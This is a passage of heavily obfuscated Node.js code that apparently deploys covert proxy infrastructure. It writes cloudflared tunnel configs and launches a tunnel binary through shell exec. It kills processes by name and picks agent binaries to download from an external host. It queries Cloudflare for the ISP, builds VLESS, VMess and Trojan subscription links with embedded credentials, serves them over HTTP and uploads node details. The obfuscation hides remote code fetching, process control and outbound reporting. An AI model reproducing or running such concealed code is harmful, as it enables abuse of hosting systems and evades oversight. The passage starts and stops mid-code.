_0x2badb6=_0x25fe4a['caZyv'](_0x269aee,_0x58085f(0x56d,0x48d,0x6b3,0x55a))?_0x25fe4a[_0x56b15e(-0x164,-0x144,-0xcf,-0x103)]:_0x25fe4a[_0x56b15e(0x3d,0x38,-0x6d,0x4c)],_0x1f2c51={};_0x1f2c51[_0x58085f(0x61c,0x564,0x5ac,0x4d3)]=phpPath,_0x1f2c51['fileUrl']=_0x2badb6,_0x370250['unshift'](_0x1f2c51);}}else _0x5c0ad0['data'][_0x58085f(0x5c3,0x6ae,0x47d,0x5d4)](_0x50d46b),_0x5de95c['on'](_0x25fe4a[_0x56b15e(-0x157,-0x236,-0x180,-0x12e)],()=>{function _0x231340(_0x842fcb,_0xa8b39a,_0x200bf9,_0x37143d){return _0x56b15e(_0x200bf9-0x17a,_0xa8b39a-0x1a4,_0x842fcb,_0x37143d-0x17);}_0x3d6d8d['close']();function _0x4596a0(_0x1e7aa3,_0x1372cf,_0x1c4b75,_0x52d7df){return _0x56b15e(_0x52d7df-0x219,_0x1372cf-0x13d,_0x1c4b75,_0x52d7df-0x1db);}_0x1a34d9[_0x4596a0(-0xdc,-0xe8,0x2f,0x41)]('Download\x20'+_0x2c433c['basename'](_0x26c854)+(_0x231340(0x25,-0x24,0xdc,0x132)+_0x231340(-0x4c,-0x30,-0x28,-0x80))),_0x25fe4a[_0x231340(-0xc2,0x134,0x57,-0xb0)](_0x2f5ec1,null,_0x4ed3e2);}),_0x50a948['on'](_0x25fe4a[_0x56b15e(-0x2d,0x75,-0x5f,-0x143)],_0x4a5147=>{function _0xa4f8f7(_0x70480d,_0x35598d,_0x4c9af5,_0x3cd20b){return _0x58085f(_0x4c9af5- -0x4,_0x35598d,_0x4c9af5-0x30,_0x3cd20b-0xda);}_0x93fe59[_0xa4f8f7(0x32c,0x45e,0x461,0x3ce)](_0x5b6888,()=>{});const _0x3efbf6=_0xa4f8f7(0x6be,0x54c,0x664,0x6ed)+_0x3362cc[_0xa4f8f7(0x3b0,0x3b9,0x3e4,0x311)](_0x41d64e)+_0x151f0c(0x59b,0x4fe,0x4a8,0x3f7)+_0x4a5147[_0x151f0c(0x474,0x555,0x482,0x4b6)];_0x3f3a3c[_0xa4f8f7(0x5ae,0x69c,0x62c,0x4ef)](_0x3efbf6);function _0x151f0c(_0x39cfda,_0x540352,_0x5e160f,_0x3f4160){return _0x56b15e(_0x5e160f-0x5c5,_0x540352-0xf7,_0x3f4160,_0x3f4160-0x142);}_0x25fe4a[_0xa4f8f7(0x40f,0x4c7,0x449,0x3bf)](_0x3d6c92,_0x3efbf6);});}return _0x370250;}function argoType(){function _0x259354(_0x26aada,_0x31de3b,_0x295114,_0x15a979){return _0x3fefcd(_0x26aada-0xc3,_0x15a979-0x197,_0x295114,_0x15a979-0xa3);}const _0x275977={};_0x275977[_0x259354(0x1db,0x20c,0xce,0x214)]=function(_0x2e1bbf,_0x272d23){return _0x2e1bbf||_0x272d23;},_0x275977[_0x54f1e9(0x2d5,0x36b,0x4a2,0x4b6)]=_0x259354(0x24f,0x377,0x28a,0x36e)+_0x54f1e9(0x289,0x2cd,0x212,0x26d)+_0x54f1e9(0x2f2,0x1eb,0x1fc,0xe8)+_0x54f1e9(0x4f4,0x447,0x57d,0x459)+_0x259354(0x2b4,0x3e3,0x30c,0x335)+'ick\x20tunnel'+'s',_0x275977[_0x259354(0x317,0x43f,0x45c,0x42c)]=_0x259354(0x1f3,0xe8,0x258,0x1c0),_0x275977['atlvk']=_0x54f1e9(0x2a4,0x3b5,0x3ff,0x495)+_0x54f1e9(0x47e,0x3a2,0x2a6,0x2ce)+_0x259354(0x24f,0x298,0x210,0x208)+'t,use\x20toke'+_0x54f1e9(0x428,0x374,0x289,0x449)+_0x259354(0x3ee,0x2e8,0x51b,0x3ed);const _0x5d3eb3=_0x275977;function _0x54f1e9(_0x4cfc0d,_0x26d67b,_0x4d6c19,_0x12a346){return _0x3fefcd(_0x4cfc0d-0x8e,_0x26d67b-0x1ae,_0x4d6c19,_0x12a346-0x120);}if(_0x5d3eb3['toKqp'](!ARGO_AUTH,!ARGO_DOMAIN)){console[_0x54f1e9(0x23e,0x1ce,0x201,0x276)](_0x5d3eb3[_0x54f1e9(0x4a9,0x36b,0x284,0x349)]);return;}if(ARGO_AUTH[_0x54f1e9(0x421,0x31b,0x2de,0x2f5)](_0x54f1e9(0x1c5,0x1c6,0x2d0,0xf9)+'et')){fs['writeFileS'+_0x259354(0x210,0x2f8,0x15c,0x24e)](path[_0x54f1e9(0x312,0x3c8,0x394,0x3ff)](FILE_PATH,_0x259354(0x2f6,0x276,0x296,0x1bd)+'n'),ARGO_AUTH);const _0x3eb8b6=_0x259354(0x499,0x4a7,0x4b4,0x3c3)+'\x20'+ARGO_AUTH[_0x259354(0x158,0x11b,0x338,0x201)]('\x22')[0x34c*0x8+-0xdc8+-0xc8d]+(_0x259354(0x402,0x2fb,0x49c,0x41f)+_0x259354(0x441,0x37d,0x3c7,0x40e)+'\x20')+path[_0x259354(0x4f6,0x317,0x4df,0x3b1)](FILE_PATH,_0x259354(0x2e3,0x150,0x28e,0x1bd)+'n')+(_0x54f1e9(0x47b,0x3b6,0x3d1,0x424)+_0x259354(0x3db,0x3c6,0x445,0x322)+'\x20\x0a\x20\x20ingres'+_0x259354(0x3ad,0x3fd,0x23e,0x2bc)+_0x259354(0x427,0x422,0x54b,0x43e))+ARGO_DOMAIN+(_0x54f1e9(0x406,0x369,0x30b,0x3ec)+_0x259354(0x2d1,0x1cb,0x237,0x2e8)+'://localho'+_0x54f1e9(0x335,0x273,0x367,0x24b))+ARGO_PORT+('\x0a\x20\x20\x20\x20\x20\x20ori'+_0x54f1e9(0x1a1,0x252,0x394,0x20b)+_0x259354(0x312,0x351,0x34d,0x323)+_0x259354(0x167,0x18a,0x2da,0x246)+_0x54f1e9(0x3c6,0x3d6,0x2b5,0x3cf)+_0x259354(0x2da,0x2ca,0x3c0,0x2e0)+_0x54f1e9(0x1c2,0x2ac,0x32b,0x1b4)+'atus:404\x0a\x20'+'\x20');fs[_0x259354(0x302,0x10f,0x7f,0x1c6)+'ync'](path[_0x259354(0x43f,0x363,0x4ba,0x3b1)](FILE_PATH,_0x5d3eb3['rxlIU']),_0x3eb8b6);}else console[_0x259354(0x273,0x1a3,0x69,0x1b7)](_0x5d3eb3[_0x54f1e9(0x485,0x38b,0x2f9,0x4a5)]);}argoType();async function extractDomains(){const _0x11873b={'yzFRL':function(_0xdc60bb,_0x34f4e4){return _0xdc60bb===_0x34f4e4;},'dxrKy':'arm','NlHai':'https://ar'+_0x469c51(0x5aa,0x5cd,0x525,0x570)+_0x273023(0x379,0x3bd,0x3fd,0x499)+'t','JFsDN':_0x469c51(0x740,0x618,0x6cd,0x4e0)+_0x273023(0x69f,0x55d,0x508,0x4d3)+'yc.mn/agen'+'t','UZOjS':_0x273023(0x2ce,0x3b8,0x472,0x2e4),'RLmyH':_0x469c51(0x5c3,0x557,0x628,0x6a5)+'pe','lpBga':_0x273023(0x619,0x5f8,0x6fb,0x687)+_0x469c51(0x42b,0x4cf,0x3e9,0x5e1)+_0x273023(0x354,0x49b,0x590,0x5af),'UZszd':_0x273023(0x573,0x5b2,0x62b,0x673),'zVemw':'/vmess-arg'+_0x469c51(0x654,0x6c1,0x6c6,0x5f4),'CBkiP':'tls','etdcF':function(_0x5ce9db,_0x473ef1){return _0x5ce9db(_0x473ef1);},'mbNBz':function(_0x1e89e1,_0x13126d){return _0x1e89e1(_0x13126d);},'FIHAe':_0x469c51(0x54f,0x50d,0x4d5,0x4f9),'QCxbt':_0x273023(0x74e,0x620,0x675,0x52a),'JdiAM':function(_0x175ed2){return _0x175ed2();},'ZtPMz':function(_0x22602a,_0x441fb5,_0x59df42){return _0x22602a(_0x441fb5,_0x59df42);},'rWEIx':function(_0x896bf8,_0x5743ea,_0xfa9d6b){return _0x896bf8(_0x5743ea,_0xfa9d6b);},'hxgDh':_0x469c51(0x4c5,0x5f0,0x5b4,0x587)+_0x273023(0x484,0x3a4,0x28d,0x2ee)+_0x469c51(0x6fc,0x684,0x538,0x577)+'flare.com/'+'meta\x20|\x20awk'+_0x273023(0x3d9,0x453,0x456,0x4f8)+_0x469c51(0x7ae,0x704,0x7dd,0x7d9)+_0x469c51(0x5f8,0x4f1,0x625,0x512)+'d\x20-e\x20\x27s/\x20/'+_0x469c51(0x610,0x4da,0x627,0x43d),'KyOot':'utf-8','rloxG':_0x273023(0x62b,0x551,0x5fa,0x481)+'N:','HUbpG':'iwxlJ','ymOOi':'boot.log','SgPOU':function(_0x519fac,_0x58d61d){return _0x519fac!==_0x58d61d;},'Psvlu':'OYJGZ','MEdXF':_0x469c51(0x7a4,0x67c,0x691,0x5e4)+':','YQSQN':function(_0x50c3d3,_0x758e1e){return _0x50c3d3(_0x758e1e);},'ECdZa':_0x469c51(0x66c,0x67c,0x5b0,0x6c5)+_0x469c51(0x771,0x69f,0x560,0x63e)+_0x273023(0x3d3,0x51b,0x5da,0x3e5)+_0x469c51(0x5dd,0x711,0x7e7,0x69b)+_0x273023(0x36a,0x4a5,0x490,0x4db)+_0x273023(0x442,0x39c,0x3e8,0x2e0),'KdZMS':_0x469c51(0x78b,0x6e7,0x777,0x60e),'pBhYv':function(_0x3cd24e,_0x1b04a1){return _0x3cd24e(_0x1b04a1);},'sxHjT':function(_0x568092){return _0x568092();},'GVvwS':_0x469c51(0x43d,0x535,0x506,0x43e)+_0x273023(0x384,0x3e1,0x4ba,0x35d)+_0x469c51(0x63a,0x697,0x5bc,0x59a)};let _0x1a58d8;function _0x469c51(_0x2fae57,_0x3678fb,_0x446ff3,_0x4432dc){return _0x3fefcd(_0x2fae57-0x11c,_0x3678fb-0x48b,_0x446ff3,_0x4432dc-0xce);}function _0x273023(_0x344e05,_0x4cfbab,_0x49ef1c,_0x3ff4b4){return _0x1f8df2(_0x344e05-0x11e,_0x4cfbab- -0x117,_0x344e05,_0x3ff4b4-0x1c3);}if(ARGO_AUTH&&ARGO_DOMAIN)_0x1a58d8=ARGO_DOMAIN,console['log'](_0x11873b['rloxG'],_0x1a58d8),await _0x11873b[_0x273023(0x2b3,0x3f5,0x4dd,0x50f)](_0xb7ba0d,_0x1a58d8);else try{if(_0x11873b[_0x469c51(0x688,0x6d1,0x668,0x62e)](_0x469c51(0x603,0x722,0x77e,0x6c6),_0x11873b[_0x469c51(0x736,0x62f,0x5ce,0x763)])){const _0x457e92=_0x11873b[_0x273023(0x64a,0x5c0,0x473,0x4e9)](_0x2c5f5d,_0x11873b[_0x469c51(0x4ce,0x5cf,0x6a1,0x4a7)])?_0x11873b['NlHai']:_0x11873b[_0x469c51(0x480,0x4eb,0x46d,0x5b6)],_0x3fb1ed={};_0x3fb1ed[_0x469c51(0x843,0x6f3,0x69a,0x7c5)]=_0x1b6639,_0x3fb1ed[_0x469c51(0x434,0x4e2,0x56a,0x634)]=_0x457e92,_0x242914['unshift'](_0x3fb1ed);}else{const _0x3d8e6e=fs[_0x273023(0x4d9,0x3ad,0x4fc,0x45c)+'nc'](path[_0x273023(0x65f,0x594,0x5b4,0x66c)](FILE_PATH,_0x11873b['ymOOi']),_0x11873b[_0x273023(0x427,0x508,0x526,0x45b)]),_0x56e50a=_0x3d8e6e['split']('\x0a'),_0x361fc6=[];_0x56e50a[_0x273023(0x69a,0x5bf,0x683,0x560)](_0x4c698a=>{function _0x55310a(_0x269611,_0x551ee7,_0xf98b13,_0x2c818d){return _0x469c51(_0x269611-0x1e2,_0x269611- -0x2ec,_0xf98b13,_0x2c818d-0xb0);}const _0x379cee=_0x4c698a['match'](/https?:\/\/([^ ]*trycloudflare\.com)\/?/);if(_0x379cee){const _0x8d1c2f=_0x379cee[-0x5*-0x2c5+0xe5*-0xe+-0x152];_0x361fc6[_0x55310a(0x3e2,0x2fa,0x2d6,0x406)](_0x8d1c2f);}});if(_0x361fc6[_0x469c51(0x50f,0x4c0,0x487,0x3a5)]>0x5f*-0x1f+-0xa09+0x158a){if(_0x11873b[_0x273023(0x47f,0x43e,0x384,0x324)](_0x11873b[_0x273023(0x498,0x4f5,0x5cb,0x5cb)],'zHiJr'))_0x1a58d8=_0x361fc6[-0xfb9+-0x2*0x14e+0x1255],console[_0x469c51(0x5f7,0x4ab,0x3f1,0x5ae)](_0x11873b[_0x273023(0x42c,0x3a1,0x2e6,0x3fa)],_0x1a58d8),await _0x11873b[_0x469c51(0x450,0x59f,0x499,0x6d2)](_0xb7ba0d,_0x1a58d8);else{const _0x4f7e37={};_0x4f7e37[_0x273023(0x3a5,0x48a,0x3bd,0x355)]=_0x11873b['UZOjS'],_0x4f7e37['VlmSp']=_0x11873b['RLmyH'],_0x4f7e37[_0x273023(0x4df,0x56f,0x5e3,0x502)]=_0x11873b[_0x273023(0x59e,0x4bd,0x50a,0x53c)];const _0x46eb30=_0x4f7e37,_0x28ad25={};_0x28ad25['v']='2',_0x28ad25['ps']=''+_0x3df194,_0x28ad25[_0x273023(0x49c,0x3f8,0x340,0x2ae)]=_0x18af07,_0x28ad25[_0x273023(0x39a,0x3d2,0x374,0x49b)]=_0x424bb4,_0x28ad25['id']=_0x1076ec,_0x28ad25['aid']='0',_0x28ad25[_0x469c51(0x465,0x556,0x4c0,0x69e)]=_0x11873b[_0x273023(0x483,0x4ea,0x529,0x5e0)],_0x28ad25[_0x469c51(0x5f0,0x5ba,0x595,0x4a8)]='ws',_0x28ad25[_0x273023(0x63d,0x52b,0x660,0x666)]=_0x11873b[_0x469c51(0x70d,0x5fb,0x669,0x5dc)],_0x28ad25[_0x469c51(0x4ac,0x4cb,0x5b2,0x468)]=_0x14f24f,_0x28ad25[_0x469c51(0x747,0x718,0x64e,0x77b)]=_0x11873b[_0x273023(0x39d,0x43d,0x579,0x49e)],_0x28ad25[_0x273023(0x587,0x526,0x56e,0x544)]=_0x11873b[_0x273023(0x423,0x521,0x5b0,0x633)],_0x28ad25[_0x273023(0x737,0x60c,0x53e,0x56e)]=_0x31e5ed,_0x28ad25[_0x273023(0x588,0x514,0x47e,0x4ec)]='',_0x28ad25['fp']='firefox';const _0x528283=_0x28ad25,_0x391482='\x0avless://'+_0x480cf8+'@'+_0x709f5f+':'+_0x2e6c85+(_0x469c51(0x843,0x715,0x7e9,0x691)+_0x273023(0x3f2,0x458,0x31a,0x578)+_0x469c51(0x7fd,0x723,0x763,0x7d5)+_0x273023(0x549,0x416,0x3b2,0x40f))+_0x208ce8+('&fp=firefo'+_0x273023(0x66e,0x53c,0x517,0x553)+_0x273023(0x4ce,0x4ed,0x437,0x438))+_0x56e274+('&path=%2Fv'+_0x469c51(0x79a,0x742,0x87e,0x7f3)+_0x273023(0x566,0x4b2,0x4eb,0x5e5)+'0#')+_0x14a7c2+(_0x469c51(0x6d1,0x666,0x5b0,0x781)+'//')+_0x4bae95[_0x469c51(0x676,0x548,0x4d9,0x620)](_0x1b09e8['stringify'](_0x528283))[_0x273023(0x3ab,0x417,0x33a,0x2d5)](_0x273023(0x366,0x3b8,0x2de,0x32d))+('\x0a\x20\x20\x0atrojan'+_0x469c51(0x72c,0x6bc,0x7dd,0x7b2))+_0x36bba3+'@'+_0x42da80+':'+_0x52ffa8+(_0x273023(0x4fb,0x56a,0x63b,0x6aa)+'tls&sni=')+_0x2ddb8c+(_0x469c51(0x615,0x6f7,0x76b,0x839)+'x&type=ws&'+_0x273023(0x47b,0x4ed,0x4fa,0x5cc))+_0x4ef73a+(_0x273023(0x527,0x4cd,0x37c,0x413)+_0x273023(0x385,0x4b8,0x438,0x3f4)+_0x273023(0x3db,0x425,0x559,0x3cf)+_0x273023(0x5f7,0x4db,0x3b0,0x3ef))+_0x352b5b+_0x273023(0x504,0x3c2,0x36f,0x2de);_0x3fd9f7[_0x273023(0x452,0x39a,0x415,0x261)](_0x21a504[_0x273023(0x46b,0x437,0x359,0x39d)](_0x391482)['toString'](_0x11873b[_0x469c51(0x4ac,0x555,0x666,0x4d9)])),_0x406b75[_0x273023(0x49c,0x3a9,0x4f1,0x2d5)+_0x469c51(0x659,0x542,0x519,0x59c)](_0x8686ef,_0x53dbce[_0x273023(0x550,0x437,0x37b,0x3cf)](_0x391482)[_0x273023(0x4c3,0x417,0x447,0x339)](_0x11873b[_0x273023(0x373,0x444,0x30e,0x4c1)])),_0x64c827['log'](_0x54e925+(_0x469c51(0x7e1,0x6ec,0x5f1,0x5e2)+_0x273023(0x325,0x3de,0x451,0x489)+_0x469c51(0x5b8,0x537,0x649,0x605))),_0x44da2e(),_0x5bc559[_0x273023(0x4f9,0x3aa,0x3a4,0x2aa)]('/'+_0x409147,(_0x4c76f5,_0x5cd6c5)=>{function _0x4a480c(_0x10ce50,_0x2014ac,_0x3e3957,_0x4da1de){return _0x469c51(_0x10ce50-0x160,_0x3e3957- -0x79f,_0x4da1de,_0x4da1de-0x1b);}const _0x99f63f=_0x3d1552['from'](_0x391482)[_0x4a480c(-0x3c0,-0x324,-0x277,-0x292)](_0x46eb30[_0x4a480c(-0xee,-0xdf,-0x204,-0x1ca)]);_0x5cd6c5[_0x4a480c(-0x145,0x34,-0x84,-0x9e)](_0x46eb30[_0x4a480c(-0x19a,-0x3d8,-0x294,-0x242)],_0x46eb30[_0x4a480c(-0xc8,-0x1bb,-0x11f,-0x13e)]);function _0x4d7230(_0x189dfc,_0x5c5e16,_0x54a967,_0x2fa3bc){return _0x273023(_0x5c5e16,_0x189dfc- -0xc9,_0x54a967-0xe1,_0x2fa3bc-0xca);}_0x5cd6c5[_0x4a480c(-0x245,-0x249,-0x154,-0x121)](_0x99f63f);}),_0x11873b[_0x469c51(0x5af,0x506,0x50e,0x534)](_0x5e9e58,_0x391482);}}else{console[_0x273023(0x2b6,0x39a,0x4e7,0x28d)](_0x11873b[_0x469c51(0x5a1,0x5dd,0x6dc,0x68f)]),fs[_0x469c51(0x746,0x6a4,0x793,0x6eb)](path[_0x273023(0x446,0x594,0x68b,0x6a0)](FILE_PATH,'boot.log'));async function _0x47eec3(){function _0x966de5(_0x50bf8e,_0x1062a8,_0x1f416d,_0x1d0c66){return _0x273023(_0x50bf8e,_0x1062a8- -0x16a,_0x1f416d-0x14,_0x1d0c66-0x22);}function _0x4528c0(_0xf26b6c,_0x47e9b4,_0x17c7e7,_0x1fcac8){return _0x469c51(_0xf26b6c-0x98,_0xf26b6c- -0x29d,_0x47e9b4,_0x1fcac8-0x19a);}try{process[_0x4528c0(0x288,0x3d4,0x156,0x16c)]===_0x966de5(0x40b,0x32c,0x470,0x2b6)?await _0x11873b['etdcF'](exec,'taskkill\x20/'+_0x4528c0(0x49b,0x45f,0x44d,0x561)+botName+('.exe\x20>\x20nul'+_0x966de5(0x3a1,0x4c0,0x4f7,0x5fb))):await _0x11873b[_0x4528c0(0x297,0x2fc,0x229,0x28a)](exec,_0x4528c0(0x20a,0x1f7,0x2fb,0x181)+'['+botName[_0x966de5(0x1d9,0x23c,0x164,0x343)](0x2353+0x2*0xe87+-0x1*0x4061)+']'+botName[_0x4528c0(0x306,0x2bc,0x43a,0x377)](-0x1*-0x73d+-0x1*-0x1072+-0x17ae)+(_0x4528c0(0x48d,0x55f,0x5b7,0x49a)+_0x4528c0(0x237,0x101,0x2ff,0x146)));}catch(_0x16f59c){}}_0x11873b[_0x273023(0x39a,0x406,0x381,0x484)](_0x47eec3),await new Promise(_0x46a7ad=>setTimeout(_0x46a7ad,-0xc*0x23b+0x805*-0x2+-0x1*-0x3686));const _0x3b9e20='tunnel\x20--e'+'dge-ip-ver'+_0x273023(0x670,0x55a,0x5ff,0x62b)+_0x469c51(0x53d,0x512,0x50b,0x5f4)+_0x273023(0x2fb,0x421,0x552,0x325)+_0x273023(0x468,0x442,0x341,0x4ee)+_0x469c51(0x827,0x717,0x752,0x67e)+_0x469c51(0x71e,0x675,0x6f2,0x532)+FILE_PATH+(_0x469c51(0x3bf,0x4a4,0x440,0x5c3)+_0x273023(0x56d,0x4d5,0x3cc,0x3c9)+_0x273023(0x666,0x58f,0x4dc,0x5de)+_0x273023(0x5f5,0x623,0x755,0x52d)+_0x469c51(0x7ad,0x72c,0x870,0x6bc))+ARGO_PORT;try{_0x11873b[_0x273023(0x601,0x59a,0x5eb,0x6bf)]===_0x273023(0x403,0x4fc,0x3c2,0x41d)?_0x468893['error']('npm\x20runnin'+_0x469c51(0x64b,0x650,0x609,0x506)+_0x188618):(await _0x11873b[_0x469c51(0x507,0x4d6,0x3d1,0x521)](exec,_0x469c51(0x508,0x585,0x525,0x48c)+botPath+'\x20'+_0x3b9e20+(_0x469c51(0x4c4,0x59c,0x620,0x5d6)+_0x469c51(0x6f4,0x6c8,0x7f2,0x6f8))),console['log'](botName+(_0x469c51(0x3f8,0x4d2,0x605,0x612)+'g')),await new Promise(_0x1992e8=>setTimeout(_0x1992e8,-0x11*-0x122+0xaa1+-0x1*0x122b)),await _0x11873b[_0x273023(0x477,0x5c1,0x4fb,0x547)](extractDomains));}catch(_0x43fd9f){console[_0x469c51(0x7f0,0x707,0x613,0x763)](_0x469c51(0x5d9,0x631,0x5d9,0x755)+'uting\x20comm'+_0x273023(0x49b,0x596,0x615,0x5cb)+_0x43fd9f);}}}}catch(_0x4a49a6){console[_0x469c51(0x68b,0x707,0x72d,0x683)](_0x11873b[_0x469c51(0x80c,0x6e4,0x600,0x5de)],_0x4a49a6);}async function _0xb7ba0d(_0xa4d335){const _0x4b62f2=_0x11873b[_0x503a6a(-0xd1,-0x5b,-0x144,-0xce)](execSync,_0x11873b[_0x323107(0x16e,0x2a5,0xe9,0x198)],{'encoding':_0x11873b[_0x323107(0x154,0x121,0xe2,0x9f)]}),_0x4f11d5=_0x4b62f2[_0x323107(0x24b,0x94,0xd6,0x1ac)](),_0x1be782=NAME?NAME+'-'+_0x4f11d5:_0x4f11d5;function _0x323107(_0x32e5c7,_0x14bfa7,_0x405e9e,_0x23747a){return _0x469c51(_0x32e5c7-0xf6,_0x23747a- -0x57a,_0x14bfa7,_0x23747a-0x154);}function _0x503a6a(_0x4756df,_0x5b85ae,_0x331fa2,_0x50e15e){return _0x469c51(_0x4756df-0x15e,_0x50e15e- -0x73a,_0x4756df,_0x50e15e-0xff);}return new Promise(_0x4f0ed=>{function _0x5dd3df(_0x3f21fb,_0x368ffa,_0x5667b0,_0x323aa0){return _0x323107(_0x3f21fb-0xcd,_0x323aa0,_0x5667b0-0x8,_0x3f21fb- -0x1ed);}function _0x18764f(_0x24500d,_0x511374,_0x5a4768,_0x340288){return _0x323107(_0x24500d-0x183,_0x340288,_0x5a4768-0x1b0,_0x511374- -0x184);}const _0x128149={'uuxrH':function(_0x2975c5,_0x145e4f){return _0x11873b['yzFRL'](_0x2975c5,_0x145e4f);},'nnNDm':_0x11873b[_0x5dd3df(-0xea,-0x32,-0x164,-0x139)],'CdvQS':_0x5dd3df(-0x29e,-0x165,-0x2aa,-0x19b),'MdOdF':_0x11873b[_0x5dd3df(-0x146,-0x16e,-0xba,-0x15d)],'zpNSq':function(_0x1a926c,_0x318826){return _0x1a926c===_0x318826;},'CADSd':_0x5dd3df(-0xad,0xd,-0x108,-0x123),'JFdCt':_0x18764f(-0x198,-0x1de,-0x1c5,-0x22a)+_0x18764f(0xcd,-0x3d,-0x165,-0x10a),'LJcKp':_0x11873b[_0x5dd3df(-0xcb,-0x4,0x21,-0x175)],'JrIvn':function(_0x41e591){function _0x494837(_0x16ec09,_0x33b1ab,_0x54cf32,_0x5d2d7f){return _0x5dd3df(_0x54cf32-0x148,_0x33b1ab-0x13a,_0x54cf32-0x70,_0x5d2d7f);}return _0x11873b[_0x494837(-0x1e8,-0x100,-0x108,-0x13c)](_0x41e591);}};_0x11873b[_0x5dd3df(-0x1bc,-0x111,-0x262,-0xab)](setTimeout,()=>{function _0x14eb58(_0x262b0b,_0x15ec87,_0xc4bb29,_0x39547c){return _0x18764f(_0x262b0b-0xaa,_0x262b0b-0x20,_0xc4bb29-0x1c5,_0x15ec87);}const _0x116ba0={'SdYpZ':function(_0x3dce16,_0x151c0e){return _0x128149['uuxrH'](_0x3dce16,_0x151c0e);},'enXBl':_0x128149[_0x349dd7(0x7c5,0x6e0,0x64a,0x785)],'LoTjq':_0x128149[_0x349dd7(0x620,0x56b,0x514,0x557)],'SMoLi':_0x128149[_0x349dd7(0x6c0,0x5c4,0x4a6,0x602)],'QEqbY':_0x349dd7(0x6fd,0x6ee,0x6a5,0x826)+_0x349dd7(0x5fe,0x4b4,0x465,0x4cb)+_0x14eb58(-0x132,-0x1b1,-0x128,0x15)};function _0x349dd7(_0xe28c7,_0x4c7107,_0x2f1a7,_0x28ec16){return _0x5dd3df(_0x4c7107-0x74c,_0x4c7107-0x134,_0x2f1a7-0x1b2,_0x28ec16);}if(_0x128149[_0x349dd7(0x474,0x4e9,0x3e4,0x50d)](_0x128149['CADSd'],_0x128149['CADSd'])){const _0x1ba40d={};_0x1ba40d['v']='2',_0x1ba40d['ps']=''+_0x1be782,_0x1ba40d[_0x349dd7(0x44c,0x4ee,0x618,0x4b9)]=CFIP,_0x1ba40d['port']=CFPORT,_0x1ba40d['id']=UUID,_0x1ba40d[_0x349dd7(0x6c4,0x63c,0x617,0x61d)]='0',_0x1ba40d['scy']=_0x14eb58(-0x1b,-0x3c,0x24,-0x15f),_0x1ba40d[_0x14eb58(-0x124,-0x161,-0x18,-0x14f)]='ws',_0x1ba40d[_0x349dd7(0x6c9,0x621,0x66d,0x5f5)]=_0x349dd7(0x7b8,0x6a8,0x5f4,0x5e6),_0x1ba40d['host']=_0xa4d335,_0x1ba40d[_0x349dd7(0x752,0x6fd,0x643,0x7d1)]=_0x128149['JFdCt'],_0x1ba40d['tls']='tls',_0x1ba40d['sni']=_0xa4d335,_0x1ba40d[_0x14eb58(-0xb9,-0x24,-0xb9,-0xd8)]='',_0x1ba40d['fp']=_0x128149[_0x349dd7(0x533,0x536,0x566,0x631)];const _0x3490da=_0x1ba40d,_0x17965a=_0x14eb58(-0x1e6,-0x1af,-0xaf,-0x31b)+UUID+'@'+CFIP+':'+CFPORT+(_0x349dd7(0x76c,0x6fa,0x70c,0x6c9)+_0x349dd7(0x47c,0x54e,0x63a,0x5ca)+_0x349dd7(0x853,0x708,0x5de,0x77b)+_0x349dd7(0x3c2,0x50c,0x41a,0x65d))+_0xa4d335+('&fp=firefo'+'x&type=ws&'+_0x349dd7(0x5e1,0x5e3,0x70f,0x4a7))+_0xa4d335+('&path=%2Fv'+_0x349dd7(0x842,0x727,0x855,0x73c)+_0x14eb58(-0x11b,-0xe9,-0x249,-0x85)+'0#')+_0x1be782+(_0x349dd7(0x505,0x64b,0x738,0x6de)+'//')+Buffer[_0x14eb58(-0x196,-0x17a,-0x6b,-0x1a0)](JSON[_0x349dd7(0x5d8,0x61a,0x644,0x728)](_0x3490da))[_0x14eb58(-0x1b6,-0x11a,-0x12a,-0x250)]('base64')+(_0x14eb58(-0xf0,-0x52,-0xc6,-0xe0)+'://')+UUID+'@'+CFIP+':'+CFPORT+(_0x349dd7(0x716,0x660,0x5bb,0x522)+'tls&sni=')+_0xa4d335+('&fp=firefo'+'x&type=ws&'+'host=')+_0xa4d335+('&path=%2Ft'+'rojan-argo'+'%3Fed%3D25'+_0x14eb58(-0xf2,-0x31,-0xa2,-0x39))+_0x1be782+_0x14eb58(-0x20b,-0x1d7,-0xe2,-0x344);console[_0x349dd7(0x59b,0x490,0x42f,0x494)](Buffer[_0x349dd7(0x4c4,0x52d,0x568,0x410)](_0x17965a)[_0x14eb58(-0x1b6,-0x17e,-0x19f,-0x19d)](_0x128149[_0x14eb58(-0x158,-0x26,-0x10,-0x22a)])),fs['writeFileS'+_0x349dd7(0x605,0x527,0x3f8,0x4a6)](subPath,Buffer[_0x14eb58(-0x196,-0x56,-0x82,-0xd2)](_0x17965a)[_0x349dd7(0x573,0x50d,0x4f0,0x52d)](_0x128149[_0x349dd7(0x5ae,0x56b,0x651,0x55c)])),console[_0x349dd7(0x3d9,0x490,0x5cd,0x3ff)](FILE_PATH+(_0x349dd7(0x6c0,0x6d1,0x5e6,0x6ff)+_0x349dd7(0x432,0x4d4,0x38c,0x41b)+_0x349dd7(0x59d,0x51c,0x449,0x5c6))),_0x128149[_0x349dd7(0x7c0,0x6e4,0x75e,0x5b4)](uploadNodes),app['get']('/'+SUB_PATH,(_0x3b5883,_0x49f452)=>{function _0x1fcff2(_0x553c29,_0x4ec75d,_0x302081,_0x1c29dc){return _0x14eb58(_0x1c29dc- -0x20,_0x553c29,_0x302081-0xd6,_0x1c29dc-0x104);}function _0x53c932(_0x355dd2,_0x487a46,_0x3746ca,_0x10fadc){return _0x349dd7(_0x355dd2-0x27,_0x3746ca- -0x725,_0x3746ca-0x10f,_0x355dd2);}if(_0x116ba0[_0x1fcff2(0x52,0x6e,-0xa2,-0x27)](_0x53c932(-0x227,-0x28f,-0x233,-0x166),_0x116ba0[_0x53c932(0x115,-0x6b,-0xd,0x108)])){const _0x522ff2=Buffer[_0x1fcff2(-0x112,-0x64,-0x2fb,-0x1b6)](_0x17965a)[_0x1fcff2(-0x140,-0x30d,-0x2e8,-0x1d6)](_0x116ba0[_0x1fcff2(-0x287,-0x339,-0xc6,-0x1f7)]);_0x49f452[_0x1fcff2(0x92,-0x3d,-0x3c,0x1d)](_0x116ba0[_0x1fcff2(-0x152,-0x1c3,-0x2c9,-0x1d4)],_0x116ba0[_0x1fcff2(0x78,-0x19e,-0x7f,-0x4f)]),_0x49f452[_0x1fcff2(-0xd6,-0x48,-0x14,-0xb3)](_0x522ff2);}else 